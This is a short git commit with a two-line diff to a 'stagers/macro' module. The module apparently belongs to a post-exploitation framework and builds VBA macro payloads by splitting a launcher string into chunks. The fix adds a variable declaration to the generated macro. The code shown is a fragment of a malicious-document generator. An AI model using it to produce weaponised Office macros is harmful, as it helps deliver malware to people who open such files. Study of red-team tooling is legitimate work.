Bug fix in stagers/macro module.

1.6
Harmj0y 2015-08-12 17:45:04 -04:00 committed by sixdub
parent 52de78bfc3
commit 4572513129
1 changed files with 2 additions and 1 deletions

View File

@ -74,7 +74,8 @@ class Stager:
return ""
else:
chunks = list(helpers.chunks(launcher, 50))
payload = "\tSet str = \"" + str(chunks[0]) + "\"\n"
payload = "\tDim Str As String\n"
payload += "\tSet str = \"" + str(chunks[0]) + "\"\n"
for chunk in chunks[1:]:
payload += "\tstr = str + \"" + str(chunk) + "\"\n"